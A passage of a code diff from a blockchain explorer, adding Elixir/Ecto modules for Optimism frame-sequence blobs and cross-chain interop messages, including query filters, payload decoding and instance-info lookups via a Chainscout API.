Explorer.Chain.Import.Runner.Optimism.FrameSequenceBlobs + + Migrations: + - Explorer.Repo.Optimism.Migrations.AddCelestiaBlobMetadata + """ + + use Explorer.Schema + + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Chain.Hash + alias Explorer.Chain.Optimism.FrameSequence + + @required_attrs ~w(id key type metadata l1_transaction_hash l1_timestamp frame_sequence_id)a + + @typedoc """ + * `key` - A unique id (key) of the blob. + * `type` - A type of the blob (`celestia` or `eip4844`). + * `metadata` - A map containing metadata of the blob. + * `l1_transaction_hash` - The corresponding L1 transaction hash which point to the blob. + * `l1_timestamp` - The timestamp of the L1 transaction. + * `frame_sequence_id` - A frame sequence ID which is bound with this blob. + * `frame_sequence` - An instance of `Explorer.Chain.Optimism.FrameSequence` referenced by `frame_sequence_id`. + """ + @primary_key {:id, :integer, autogenerate: false} + typed_schema "op_frame_sequence_blobs" do + field(:key, :binary) + field(:type, Ecto.Enum, values: [:celestia, :eip4844]) + field(:metadata, :map) + field(:l1_transaction_hash, Hash.Full) + field(:l1_timestamp, :utc_datetime_usec) + belongs_to(:frame_sequence, FrameSequence, foreign_key: :frame_sequence_id, references: :id, type: :integer) + timestamps() + end + + @doc """ + Validates that the attributes are valid. + """ + def changeset(%__MODULE__{} = blobs, attrs \\ %{}) do + blobs + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:id) + |> unique_constraint([:key, :type]) + |> foreign_key_constraint(:frame_sequence_id) + end + + @doc """ + Lists `t:Explorer.Chain.Optimism.FrameSequenceBlob.t/0`'s' related to the + specified frame sequence in ascending order based on an entity id. + + ## Parameters + - `frame_sequence_id`: A frame sequence identifier. + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - A tuple {type, blobs} where `type` can be one of: `in_blob4844`, `in_celestia`, `in_calldata`. + The `blobs` in the list of blobs related to the specified frame sequence id sorted by an entity id. + """ + @spec list(non_neg_integer(), list()) :: {:in_blob4844 | :in_celestia | :in_calldata, [map()]} + def list(frame_sequence_id, options \\ []) do + repo = select_repo(options) + + query = + from(fsb in __MODULE__, + where: fsb.frame_sequence_id == ^frame_sequence_id, + order_by: [asc: fsb.id] + ) + + query + |> repo.all(timeout: :infinity) + |> filter_blobs_by_type() + end + + defp filter_blobs_by_type(blobs) do + eip4844_blobs = + blobs + |> Enum.filter(fn b -> b.type == :eip4844 end) + |> Enum.map(fn b -> + %{ + "hash" => b.metadata["hash"], + "l1_transaction_hash" => b.l1_transaction_hash, + "l1_timestamp" => b.l1_timestamp + } + end) + + celestia_blobs = + blobs + |> Enum.filter(fn b -> b.type == :celestia end) + |> Enum.map(fn b -> + %{ + "height" => b.metadata["height"], + "namespace" => b.metadata["namespace"], + "commitment" => b.metadata["commitment"], + "l1_transaction_hash" => b.l1_transaction_hash, + "l1_timestamp" => b.l1_timestamp + } + end) + + cond do + not Enum.empty?(eip4844_blobs) -> + {:in_blob4844, eip4844_blobs} + + not Enum.empty?(celestia_blobs) -> + {:in_celestia, celestia_blobs} + + true -> + {:in_calldata, []} + end + end +end diff --git a/apps/explorer/lib/explorer/chain/optimism/interop_message.ex b/apps/explorer/lib/explorer/chain/optimism/interop_message.ex new file mode 100644 index 000000000000..86e70ab32ac9 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/optimism/interop_message.ex @@ -0,0 +1,948 @@ +defmodule Explorer.Chain.Optimism.InteropMessage do + @moduledoc "Models interop message for Optimism." + + use Explorer.Schema + + require Logger + + import Explorer.Chain, only: [default_paging_options: 0, select_repo: 1] + + alias ABI.{FunctionSelector, TypeDecoder} + alias Explorer.Chain.{Data, Hash} + alias Explorer.{PagingOptions, Repo} + alias Indexer.Fetcher.Optimism.Interop.MessageQueue, as: InteropMessageQueue + + @required_attrs ~w(nonce init_chain_id relay_chain_id)a + @optional_attrs ~w(sender_address_hash target_address_hash init_transaction_hash block_number timestamp relay_transaction_hash payload failed transfer_token_address_hash transfer_from_address_hash transfer_to_address_hash transfer_amount sent_to_multichain)a + @interop_instance_api_url_to_public_key_cache :interop_instance_api_url_to_public_key_cache + @interop_chain_id_to_instance_info_cache :interop_chain_id_to_instance_info_cache + + @typedoc """ + * `sender_address_hash` - An address of the sender on the source chain. Can be a smart contract. Can be `nil` (when SentMessage event is not indexed yet). + * `target_address_hash` - A target address on the target chain. Can be a smart contract. Can be `nil` (when SentMessage event is not indexed yet). + * `nonce` - Nonce associated with the message sent. Unique within the source chain. + * `init_chain_id` - Chain ID of the source chain. + * `init_transaction_hash` - Transaction hash (on the source chain) associated with the message sent. Can be `nil` (when SentMessage event is not indexed yet). + * `block_number` - Block number of the `init_transaction_hash` for outgoing message. Block number of the `relay_transaction_hash` for incoming message. + * `timestamp` - Timestamp of the `init_transaction_hash` transaction. Can be `nil` (when SentMessage event is not indexed yet). + * `relay_chain_id` - Chain ID of the target chain. + * `relay_transaction_hash` - Transaction hash (on the target chain) associated with the message relay transaction. Can be `nil` (when relay transaction is not indexed yet). + * `payload` - Message payload to call target with. Can be `nil` (when SentMessage event is not indexed yet). + * `failed` - Fail status of the relay transaction. Can be `nil` (when relay transaction is not indexed yet). + * `transfer_token_address_hash` - Address of SuperchainERC20 token transferred within this message. Can be `nil` (if this is ETH transfer or not transfer operation at all). + * `transfer_from_address_hash` - The cross-chain transfer `from` address. Can be `nil` (if this is not transfer operation). + * `transfer_to_address_hash` - The cross-chain transfer `to` address. Can be `nil` (if this is not transfer operation). + * `transfer_amount` - The cross-chain transfer amount. Can be `nil` (if this is not transfer operation). + * `sent_to_multichain` - Equals to `true` if message details are sent to multichain service. Defaults to `nil`. + """ + @primary_key false + typed_schema "op_interop_messages" do + field(:sender_address_hash, Hash.Address) + field(:target_address_hash, Hash.Address) + field(:nonce, :integer, primary_key: true) + field(:init_chain_id, :integer, primary_key: true) + field(:init_transaction_hash, Hash.Full) + field(:block_number, :integer) + field(:timestamp, :utc_datetime_usec) + field(:relay_chain_id, :integer) + field(:relay_transaction_hash, Hash.Full) + field(:payload, Data) + field(:failed, :boolean) + field(:transfer_token_address_hash, Hash.Address) + field(:transfer_from_address_hash, Hash.Address) + field(:transfer_to_address_hash, Hash.Address) + field(:transfer_amount, :decimal) + field(:sent_to_multichain, :boolean) + + timestamps() + end + + @doc """ + Validates that the attributes are valid. + """ + def changeset(%__MODULE__{} = message, attrs \\ %{}) do + message + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Removes rows from the `op_interop_messages` table which have a block number + greater than the latest block number. They could be created due to reorg. + + ## Parameters + - `latest_block_number`: The latest block number. + + ## Returns + - A number of removed rows. + """ + @spec remove_invalid_messages(integer()) :: non_neg_integer() + def remove_invalid_messages(latest_block_number) do + {deleted_count, _} = + Repo.delete_all(from(m in __MODULE__, where: m.block_number > ^latest_block_number), timeout: :infinity) + + deleted_count + end + + @doc """ + Reads the last row from the `op_interop_messages` table. + + ## Parameters + - `current_chain_id`: The current chain ID. + - `only_failed`: True if only failed relay transactions are taken into account. + + ## Returns + - `{block_number, transaction_hash}` tuple for the last row. + - `{0, nil}` if there are no rows in the table. + """ + @spec get_last_item(non_neg_integer(), boolean()) :: {non_neg_integer(), binary() | nil} + def get_last_item(current_chain_id, only_failed) do + base_query = + from(m in __MODULE__, + select: {m.block_number, m.init_chain_id, m.init_transaction_hash, m.relay_chain_id, m.relay_transaction_hash}, + where: not is_nil(m.block_number), + order_by: [desc: m.block_number], + limit: 1 + ) + + query = + if only_failed do + where(base_query, [m], m.failed == true) + else + base_query + end + + message = + query + |> Repo.one() + + if is_nil(message) do + {0, nil} + else + {block_number, init_chain_id, init_transaction_hash, relay_chain_id, relay_transaction_hash} = message + + cond do + current_chain_id == init_chain_id -> + {block_number, init_transaction_hash} + + current_chain_id == relay_chain_id -> + {block_number, relay_transaction_hash} + + true -> + {0, nil} + end + end + end + + @doc """ + Retrieves some statistics for the list of the last incomplete messages: min block number, max block number, and message count. + An incomplete message is the message for which an init transaction or relay transaction is unknown. + The selection is limited by a minimum block number (set to zero when the stats is needed for all messages). + + ## Parameters + - `current_chain_id`: The current chain ID to make correct query to the database. + - `start_block_number`: The block number starting from which the messages should be considered. + + ## Returns + - A map with `min`, `max`, and `count` fields. + - `%{min: nil, max: nil, count: 0}` map if there are no messages. + """ + @spec get_incomplete_messages_stats(non_neg_integer(), non_neg_integer()) :: + %{min: non_neg_integer() | nil, max: non_neg_integer() | nil, count: non_neg_integer()} + def get_incomplete_messages_stats(current_chain_id, start_block_number) + when is_integer(current_chain_id) and is_integer(start_block_number) do + Repo.one( + from( + m in __MODULE__, + select: %{min: min(m.block_number), max: max(m.block_number), count: fragment("COUNT(*)")}, + where: + ((is_nil(m.relay_transaction_hash) and m.init_chain_id == ^current_chain_id) or + (is_nil(m.init_transaction_hash) and m.relay_chain_id == ^current_chain_id)) and + m.block_number >= ^start_block_number + ) + ) + end + + @doc """ + Returns a list of incomplete messages from the `op_interop_messages` table. + An incomplete message is the message for which an init transaction or relay transaction is unknown. + The selection is limited by a block range. + + ## Parameters + - `current_chain_id`: The current chain ID to make correct query to the database. + - `min_block_number`: The block number starting from which the messages should be considered. + - `max_block_number`: The max block number before which (including) the messages should be considered. + - `limit`: Max number of retrieved items. + - `offset`: An offset within SQL query to retrieve items from. + + ## Returns + - A list of the incomplete messages. Returns an empty list if they are not found. + """ + @spec get_incomplete_messages( + non_neg_integer(), + non_neg_integer() | nil, + non_neg_integer() | nil, + non_neg_integer(), + non_neg_integer() + ) :: list() + def get_incomplete_messages(_current_chain_id, nil, nil, _limit, _offset), do: [] + + def get_incomplete_messages(current_chain_id, min_block_number, max_block_number, limit, offset) do + Repo.all( + from(m in __MODULE__, + where: + ((is_nil(m.relay_transaction_hash) and m.init_chain_id == ^current_chain_id) or + (is_nil(m.init_transaction_hash) and m.relay_chain_id == ^current_chain_id)) and + m.block_number >= ^min_block_number and m.block_number <= ^max_block_number, + order_by: [asc: m.nonce, asc: m.init_chain_id], + limit: ^limit, + offset: ^offset + ) + ) + end + + @doc """ + Retrieves messages to be exported to the multichain service. + + ## Parameters + - `current_chain_id`: The current chain ID to make correct query to the database. + - `limit`: The max number of retrieved items at once. + """ + @spec get_messages_for_multichain_export(non_neg_integer(), non_neg_integer()) :: list() + def get_messages_for_multichain_export(current_chain_id, limit) do + Repo.all( + from(m in __MODULE__, + where: + ((not is_nil(m.init_transaction_hash) and m.init_chain_id == ^current_chain_id) or + (not is_nil(m.relay_transaction_hash) and m.relay_chain_id == ^current_chain_id)) and + (is_nil(m.sent_to_multichain) or m.sent_to_multichain == false), + order_by: [desc: m.block_number], + limit: ^limit + ) + ) + end + + @doc """ + Retrieves message fields by its primary key (`init_chain_id` and `nonce`). + + ## Parameters + - `init_chain_id`: The chain ID of the init transaction. + - `nonce`: The message nonce. + """ + @spec get_message(non_neg_integer(), non_neg_integer()) :: __MODULE__.t() | nil + def get_message(init_chain_id, nonce) do + query = + from(m in __MODULE__, + where: m.init_chain_id == ^init_chain_id and m.nonce == ^nonce + ) + + query + |> Repo.one() + end + + @doc """ + Returns relay transaction hash and failure status from the `op_interop_messages` table for the given + `init_chain_id` and `nonce`. + + ## Parameters + - `init_chain_id`: The init chain ID of the message. + - `nonce`: The nonce of the message. + + ## Returns + - `%{relay_transaction_hash, failed}` map in case of success. + - `%{relay_transaction_hash: nil, failed: nil}` map + if the message with the given `init_chain_id` and `nonce` is not found. + """ + @spec get_relay_part(non_neg_integer(), non_neg_integer()) :: {Hash.t() | nil, boolean() | nil} + def get_relay_part(init_chain_id, nonce) do + query = + from(m in __MODULE__, + select: %{relay_transaction_hash: m.relay_transaction_hash, failed: m.failed}, + where: m.init_chain_id == ^init_chain_id and m.nonce == ^nonce + ) + + query + |> Repo.one() + |> Kernel.||(%{relay_transaction_hash: nil, failed: nil}) + end + + @doc """ + Returns sender and target address, init transaction hash, timestamp, and payload from the `op_interop_messages` table + for the given `init_chain_id` and `nonce`. + + ## Parameters + - `init_chain_id`: The init chain ID of the message. + - `nonce`: The nonce of the message. + + ## Returns + - `%{sender_address_hash, target_address_hash, init_transaction_hash, timestamp, payload}` map in case of success. + - `%{sender_address_hash: nil, target_address_hash: nil, init_transaction_hash: nil, timestamp: nil, payload: nil}` map + if the message with the given `init_chain_id` and `nonce` is not found. + """ + @spec get_init_part(non_neg_integer(), non_neg_integer()) :: + {Hash.t() | nil, Hash.t() | nil, Hash.t() | nil, DateTime.t() | nil, binary() | nil} + def get_init_part(init_chain_id, nonce) do + query = + from(m in __MODULE__, + select: %{ + sender_address_hash: m.sender_address_hash, + target_address_hash: m.target_address_hash, + init_transaction_hash: m.init_transaction_hash, + timestamp: m.timestamp, + payload: m.payload + }, + where: m.init_chain_id == ^init_chain_id and m.nonce == ^nonce + ) + + query + |> Repo.one() + |> Kernel.||(%{ + sender_address_hash: nil, + target_address_hash: nil, + init_transaction_hash: nil, + timestamp: nil, + payload: nil + }) + end + + @doc """ + Lists `t:Explorer.Chain.Optimism.InteropMessage.t/0`'s' in descending order based on `timestamp` and `init_transaction_hash`. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database, paging and filter options. + + ## Returns + - A list of messages. + """ + @spec list(list()) :: [__MODULE__.t()] + def list(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + case paging_options do + %PagingOptions{key: {0, _init_transaction_hash}} -> + [] + + _ -> + base_query = + from(m in __MODULE__, + where: not is_nil(m.init_transaction_hash), + order_by: [desc: m.timestamp, desc: m.init_transaction_hash] + ) + + base_query + |> filter_messages(options) + |> page_messages(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all(timeout: :infinity) + end + end + + @doc """ + Decodes message payload to get cross-chain transfer details (such as token address, from, to addresses, and amount). + If the message doesn't encode cross-chain transfer, the function returns nils. + + ## Parameters + - `payload`: The payload to decode. + + ## Returns + - A list consisting of the following elements: `[token_address, from_address, to_address, amount]`. + - A list with nils if the message doesn't encode a cross-chain transfer: `[nil, nil, nil, nil]`. + """ + @spec decode_payload(binary() | nil) :: list() + def decode_payload(payload) do + case payload do + # relayERC20(address _token, address _from, address _to, uint256 _amount) + <<0x7C, 0xFD, 0x6D, 0xBC>> <> encoded_params -> + TypeDecoder.decode( + encoded_params, + %FunctionSelector{ + function: "relayERC20", + types: [ + :address, + :address, + :address, + {:uint, 256} + ] + } + ) + + # relayETH(address _from, address _to, uint256 _amount) + <<0x4F, 0x0E, 0xDC, 0xC9>> <> encoded_params -> + encoded_params + |> TypeDecoder.decode(%FunctionSelector{ + function: "relayETH", + types: [ + :address, + :address, + {:uint, 256} + ] + }) + |> List.insert_at(0, nil) + + _ -> + List.duplicate(nil, 4) + end + end + + # Extends a query for listing interop messages with their filtering. + # Filter conditions are applied with `and` relation. + # + # ## Parameters + # - `query`: The base query to extend. + # - `options`: The filter options. + # + # ## Returns + # - The extended query. + @spec filter_messages(Ecto.Query.t(), list()) :: Ecto.Query.t() + defp filter_messages(query, options) do + query + |> filter_messages_by_nonce(options[:nonce]) + |> filter_messages_by_timestamp(options[:age][:from], :from) + |> filter_messages_by_timestamp(options[:age][:to], :to) + |> filter_messages_by_status(options[:statuses]) + |> filter_messages_by_transaction_hash(options[:init_transaction_hash], :init) + |> filter_messages_by_transaction_hash(options[:relay_transaction_hash], :relay) + |> filter_messages_by_addresses(options[:senders], options[:targets]) + |> filter_messages_by_direction(options[:direction], options[:current_chain_id]) + end + + # Extends a query for listing interop messages with filtering by `nonce`. + # + # ## Parameters + # - `query`: The base query to extend. + # - `nonce`: The nonce to filter the list by. + # + # ## Returns + # - The extended query if the nonce is integer. + # - The base query if the nonce is invalid. + @spec filter_messages_by_nonce(Ecto.Query.t(), non_neg_integer() | nil) :: Ecto.Query.t() + defp filter_messages_by_nonce(query, nonce) when is_integer(nonce) do + where(query, [message], message.nonce == ^nonce) + end + + defp filter_messages_by_nonce(query, _), do: query + + # Extends a query for listing interop messages with filtering by timestamp. + # All found messages will have a timestamp greater than or equal to the given one. + # + # ## Parameters + # - `query`: The base query to extend. + # - `from`: The initial timestamp. + # - `:from`: The atom to set the initial timestamp in the query. + # + # ## Returns + # - The extended query if the parameters are correct. + # - The base query if the parameters are wrong. + @spec filter_messages_by_timestamp(Ecto.Query.t(), DateTime.t() | nil, :from | :to) :: Ecto.Query.t() + defp filter_messages_by_timestamp(query, %DateTime{} = from, :from) do + where(query, [message], message.timestamp >= ^from) + end + + # Extends a query for listing interop messages with filtering by timestamp. + # All found messages will have a timestamp less than or equal to the given one. + # + # ## Parameters + # - `query`: The base query to extend. + # - `to`: The final timestamp. + # - `:to`: The atom to set the final timestamp in the query. + # + # ## Returns + # - The extended query if the parameters are correct. + # - The base query if the parameters are wrong. + defp filter_messages_by_timestamp(query, %DateTime{} = to, :to) do + where(query, [message], message.timestamp <= ^to) + end + + defp filter_messages_by_timestamp(query, _, _), do: query + + # Extends a query for listing interop messages with filtering by message status. + # + # ## Parameters + # - `query`: The base query to extend. + # - `statuses`: The list of statuses to filter by. Can contain: "SENT", "RELAYED", and/or "FAILED". + # + # ## Returns + # - The extended query if statuses are defined and not all possible statuses selected. + # - The base query if statuses are not defined or all possible statuses selected. + @spec filter_messages_by_status(Ecto.Query.t(), [String.t()]) :: Ecto.Query.t() + # credo:disable-for-next-line /Complexity/ + defp filter_messages_by_status(query, statuses) do + cond do + ("SENT" in statuses and "RELAYED" in statuses and "FAILED" in statuses) or statuses == [] -> + query + + "SENT" in statuses and "RELAYED" in statuses -> + where(query, [message], is_nil(message.relay_transaction_hash) or message.failed == false) + + "SENT" in statuses and "FAILED" in statuses -> + where(query, [message], is_nil(message.relay_transaction_hash) or message.failed == true) + + "RELAYED" in statuses and "FAILED" in statuses -> + where(query, [message], not is_nil(message.failed)) + + "SENT" in statuses -> + where(query, [message], is_nil(message.relay_transaction_hash)) + + "RELAYED" in statuses -> + where(query, [message], message.failed == false) + + "FAILED" in statuses -> + where(query, [message], message.failed == true) + end + end + + # Extends a query for listing interop messages with filtering by `init_transaction_hash`. + # + # ## Parameters + # - `query`: The base query to extend. + # - `transaction_hash`: The init transaction hash. + # - `:init`: The atom to set the init transaction hash in the query. + # + # ## Returns + # - The extended query if the parameters are correct. + # - The base query if the parameters are wrong. + @spec filter_messages_by_transaction_hash(Ecto.Query.t(), Hash.t() | nil, :init | :relay) :: Ecto.Query.t() + defp filter_messages_by_transaction_hash(query, transaction_hash, :init) when not is_nil(transaction_hash) do + where(query, [message], message.init_transaction_hash == ^transaction_hash) + end + + # Extends a query for listing interop messages with filtering by `relay_transaction_hash`. + # + # ## Parameters + # - `query`: The base query to extend. + # - `transaction_hash`: The relay transaction hash. + # - `:relay`: The atom to set the relay transaction hash in the query. + # + # ## Returns + # - The extended query if the parameters are correct. + # - The base query if the parameters are wrong. + defp filter_messages_by_transaction_hash(query, transaction_hash, :relay) when not is_nil(transaction_hash) do + where(query, [message], message.relay_transaction_hash == ^transaction_hash) + end + + defp filter_messages_by_transaction_hash(query, _, _), do: query + + # Extends a query for listing interop messages with filtering by `sender` and `target` addresses. + # The addresses can be mandatory (see `include` keyword) or undesired (see `exclude` keyword). + # + # ## Parameters + # - `query`: The base query to extend. + # - `sender_addresses`: The list defining mandatory and/or undesired sender addresses. + # - `target_addresses`: The list defining mandatory and/or undesired target addresses. + # + # ## Returns + # - The extended or base query depending on the input parameters. + @spec filter_messages_by_addresses( + Ecto.Query.t(), + [include: [Hash.Address.t()], exclude: [Hash.Address.t()]], + include: [Hash.Address.t()], + exclude: [Hash.Address.t()] + ) :: Ecto.Query.t() + defp filter_messages_by_addresses(query, sender_addresses, target_addresses) do + case {filter_process_address_inclusion(sender_addresses), filter_process_address_inclusion(target_addresses)} do + {nil, nil} -> + query + + {sender, nil} -> + filter_messages_by_address(query, sender, :sender_address_hash) + + {nil, target} -> + filter_messages_by_address(query, target, :target_address_hash) + + {sender, target} -> + query + |> filter_messages_by_address(sender, :sender_address_hash) + |> filter_messages_by_address(target, :target_address_hash) + end + end + + # Extends a query for listing interop messages with filtering by sender or target mandatory addresses. + # + # ## Parameters + # - `query`: The base query to extend. + # - `{:include, addresses}`: The list defining mandatory sender or target addresses. + # - `field`: Defines the table field to filter by. Can be one of: :sender_address_hash, :target_address_hash. + # + # ## Returns + # - The extended query. + @spec filter_messages_by_address( + Ecto.Query.t(), + {:include | :exclude, [Hash.Address.t()]}, + :sender_address_hash | :target_address_hash + ) :: + Ecto.Query.t() + defp filter_messages_by_address(query, {:include, addresses}, field) do + where(query, [message], field(message, ^field) in ^addresses) + end + + # Extends a query for listing interop messages with filtering by sender or target undesired addresses. + # + # ## Parameters + # - `query`: The base query to extend. + # - `{:exclude, addresses}`: The list defining undesired sender or target addresses. + # - `field`: Defines the table field to filter by. Can be one of: :sender_address_hash, :target_address_hash. + # + # ## Returns + # - The extended query. + defp filter_messages_by_address(query, {:exclude, addresses}, field) do + where(query, [message], field(message, ^field) not in ^addresses) + end + + # Handles addresses inclusion type (include or exclude) and forms a final inclusion or exclusion list of addresses. + # Used by the `filter_messages_by_addresses` function. + # + # ## Parameters + # - `addresses`: The list defining mandatory and/or undesired addresses. + # + # ## Returns + # - `{:include, to_include}` tuple with the list of mandatory addresses. + # - `{:exclude, to_exclude}` tuple with the list of undesired addresses. + # - `nil` if the input lists are empty or mutually exclusive. + @spec filter_process_address_inclusion(include: [Hash.Address.t()], exclude: [Hash.Address.t()]) :: + {:exclude, list()} | {:include, list()} | nil + defp filter_process_address_inclusion(addresses) when is_list(addresses) do + case {Keyword.get(addresses, :include, []), Keyword.get(addresses, :exclude, [])} do + {to_include, to_exclude} when to_include in [nil, []] and to_exclude in [nil, []] -> + nil + + {to_include, to_exclude} when to_include in [nil, []] and is_list(to_exclude) -> + {:exclude, to_exclude} + + {to_include, to_exclude} when is_list(to_include) -> + case to_include -- (to_exclude || []) do + [] -> nil + to_include -> {:include, to_include} + end + end + end + + defp filter_process_address_inclusion(_), do: nil + + # Extends a query for listing interop messages with filtering by message direction (ingoing or outgoing). + # + # ## Parameters + # - `query`: The base query to extend. + # - `:in` or `out`: The direction: `:in` for ingoing, `:out` for outgoing. + # - `current_chain_id`: The current chain ID to correctly determine direction of a message. + # + # ## Returns + # - The extended query if the direction and current chain ID are defined. + # - The base query otherwise. + @spec filter_messages_by_direction(Ecto.Query.t(), :in | :out | nil, non_neg_integer() | nil) :: Ecto.Query.t() + defp filter_messages_by_direction(query, nil, _), do: query + + defp filter_messages_by_direction(query, _, nil), do: query + + defp filter_messages_by_direction(query, :in, current_chain_id) do + where(query, [message], message.relay_chain_id == ^current_chain_id) + end + + defp filter_messages_by_direction(query, :out, current_chain_id) do + where(query, [message], message.init_chain_id == ^current_chain_id) + end + + @doc """ + Calculates the number of messages that can be displayed on the frontend side. + + ## Parameters + - `options`: A keyword list of options that may include whether to use a replica database. + + ## Returns + - The number of messages. + """ + @spec count(list()) :: non_neg_integer() + def count(options \\ []) do + query = + from( + m in __MODULE__, + where: not is_nil(m.init_transaction_hash) + ) + + select_repo(options).aggregate(query, :count, timeout: :infinity) + end + + defp page_messages(query, %PagingOptions{key: nil}), do: query + + defp page_messages(query, %PagingOptions{key: {timestamp_unix, init_transaction_hash}}) do + timestamp = DateTime.from_unix!(timestamp_unix) + + from(m in query, + where: m.timestamp < ^timestamp, + or_where: m.timestamp == ^timestamp and m.init_transaction_hash < ^init_transaction_hash + ) + end + + @doc """ + Extends interop message map with :status field. + + ## Parameters + - `message`: The map with message info. + + ## Returns + - Extended map. + """ + @spec extend_with_status(map() | nil) :: map() | nil + def extend_with_status(nil), do: nil + + def extend_with_status(message) do + status = + cond do + is_nil(message.relay_transaction_hash) -> "Sent" + message.failed -> "Failed" + true -> "Relayed" + end + + Map.put(message, :status, status) + end + + @doc """ + Finds messages by transaction hash and prepares to display the message details on transaction page. + Used by `BlockScoutWeb.API.V2.OptimismView.add_optimism_fields` function. + + ## Parameters + - `transaction_hash`: The transaction hash we need to find the corresponding messages for. + + ## Returns + - A list with maps containing message details ready to be displayed on transaction page. The list can be empty. + """ + @spec messages_by_transaction(Hash.t()) :: [map()] + def messages_by_transaction(transaction_hash) do + query = + from( + m in __MODULE__, + where: m.init_transaction_hash == ^transaction_hash or m.relay_transaction_hash == ^transaction_hash + ) + + query + |> Repo.replica().all() + |> Enum.map(fn msg -> + message = extend_with_status(msg) + + chain_info = + if message.init_transaction_hash == transaction_hash do + %{ + "relay_chain" => interop_chain_id_to_instance_info(message.relay_chain_id), + "relay_transaction_hash" => message.relay_transaction_hash + } + else + %{ + "init_chain" => interop_chain_id_to_instance_info(message.init_chain_id), + "init_transaction_hash" => message.init_transaction_hash + } + end + + Map.merge( + %{ + "unique_id" => message_unique_id(message), + "nonce" => message.nonce, + "status" => message.status, + "sender_address_hash" => message.sender_address_hash, + # todo: keep next line for compatibility with frontend and remove when new frontend is bound to `sender_address_hash` property + "sender" => message.sender_address_hash, + "target_address_hash" => message.target_address_hash, + # todo: keep next line for compatibility with frontend and remove when new frontend is bound to `target_address_hash` property + "target" => message.target_address_hash, + "payload" => message.payload + }, + chain_info + ) + end) + end + + @doc """ + Constructs message id string for using in URLs on frontend. Concatenates hex representations of the `init_chain_id` + and `nonce` field (both consisting of 8 hex symbols and padded with leading zeroes). + + ## Parameters + - `message`: The message map containing `init_chain_id` and `nonce` keys. + + ## Returns + - The message id. Example for `init_chain_id` = 100 and `nonce` = 4000: "0000006400000FA0" + """ + @spec message_unique_id(map()) :: String.t() + def message_unique_id(%{init_chain_id: init_chain_id, nonce: nonce} = _message) do + init_chain_id_string = + init_chain_id + |> Integer.to_string(16) + |> String.pad_leading(8, "0") + + nonce_string = + nonce + |> Integer.to_string(16) + |> String.pad_leading(8, "0") + + init_chain_id_string <> nonce_string + end + + @doc """ + Sends HTTP request to Chainscout API to get instance info by its chain ID. + + ## Parameters + - `chain_id`: The chain ID for which the instance info should be retrieved. Can be defined as String or Integer. + - `chainscout_api_url`: URL defined in INDEXER_OPTIMISM_CHAINSCOUT_API_URL env variable. If `nil`, the function returns `nil`. + + ## Returns + - A map with instance info (instance_url, chain_id, chain_name, chain_logo) in case of success. + - `nil` in case of failure. + """ + @spec get_instance_info_by_chain_id(String.t() | non_neg_integer(), String.t() | nil) :: map() | nil + def get_instance_info_by_chain_id(chain_id, nil) do + Logger.error( + "Unknown instance URL for chain ID #{chain_id}. Please, define that in INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP or define INDEXER_OPTIMISM_CHAINSCOUT_API_URL." + ) + + nil + end + + def get_instance_info_by_chain_id(chain_id, chainscout_api_url) do + url = + if is_integer(chain_id) do + chainscout_api_url <> Integer.to_string(chain_id) + else + chainscout_api_url <> chain_id + end + + recv_timeout = 5_000 + connect_timeout = 8_000 + client = Tesla.client([{Tesla.Middleware.Timeout, timeout: recv_timeout}], Tesla.Adapter.Mint) + + with {:ok, %{body: body, status: 200}} <- + Tesla.get(client, url, opts: [adapter: [timeout: recv_timeout, transport_opts: [timeout: connect_timeout]]]), + {:ok, response} <- Jason.decode(body), + explorer = response |> Map.get("explorers", []) |> Enum.at(0), + false <- is_nil(explorer), + explorer_url = Map.get(explorer, "url"), + false <- is_nil(explorer_url) do + %{ + instance_url: String.trim_trailing(explorer_url, "/"), + chain_id: chain_id, + chain_name: Map.get(response, "name"), + chain_logo: Map.get(response, "logo") + } + else + true -> + Logger.error("Cannot get explorer URL from #{url}") + nil + + other -> + Logger.error("Cannot get HTTP response from #{url}. Reason: #{inspect(other)}") + nil + end + end + + @doc """ + Fetches instance API URL by chain ID using a request to Chainscout API which URL is defined in INDEXER_OPTIMISM_CHAINSCOUT_API_URL env variable. + The successful response is cached in memory until the current instance is down. + + Firstly, it tries to read the instance API URL from INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP env variable. If that's not defined, it tries to get + the url from cache. If that's not found in cache, the HTTP request to Chainscout API is performed. + + ## Parameters + - `chain_id`: The chain ID for which the instance URL needs to be retrieved. + + ## Returns + - Instance API URL if found (without trailing `/`). + - `nil` if not found. + """ + @spec interop_chain_id_to_instance_api_url(non_neg_integer()) :: String.t() | nil + def interop_chain_id_to_instance_api_url(chain_id) do + env = Application.get_all_env(:indexer)[InteropMessageQueue] + url_from_map = Map.get(env[:chainscout_fallback_map], Integer.to_string(chain_id)) + + url = + with {:not_in_map, true} <- {:not_in_map, is_nil(url_from_map)}, + info_from_cache = ConCache.get(@interop_chain_id_to_instance_info_cache, chain_id), + {:not_in_cache, true, _} <- {:not_in_cache, is_nil(info_from_cache), info_from_cache} do + case get_instance_info_by_chain_id(chain_id, env[:chainscout_api_url]) do + nil -> + nil + + info -> + ConCache.put(@interop_chain_id_to_instance_info_cache, chain_id, info) + info.instance_url + end + else + {:not_in_map, false} -> + url_from_map + + {:not_in_cache, false, info_from_cache} -> + info_from_cache.instance_url + end + + if is_map(url) do + String.trim_trailing(Map.get(url, "api", ""), "/") + else + if not is_nil(url) do + String.trim_trailing(url, "/") + end + end + end + + @doc """ + Fetches instance info by chain ID using a request to Chainscout API which URL is defined in INDEXER_OPTIMISM_CHAINSCOUT_API_URL env variable. + The successful response is cached in memory until the current instance is down. + + Firstly, it tries to read the instance info from cache. If that's not found in cache, the HTTP request to Chainscout API is performed. + If the request fails, it tries to take the instance URL from INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP (but chain name and logo left unknown). + + ## Parameters + - `chain_id`: The chain ID for which the instance info needs to be retrieved. + - `instance_ui_url_only`: Set to `true` if `instance_url` in the info map must point to UI URL. + + ## Returns + - Instance info map if found. + - `nil` if not found. + """ + @spec interop_chain_id_to_instance_info(non_neg_integer()) :: map() | nil + def 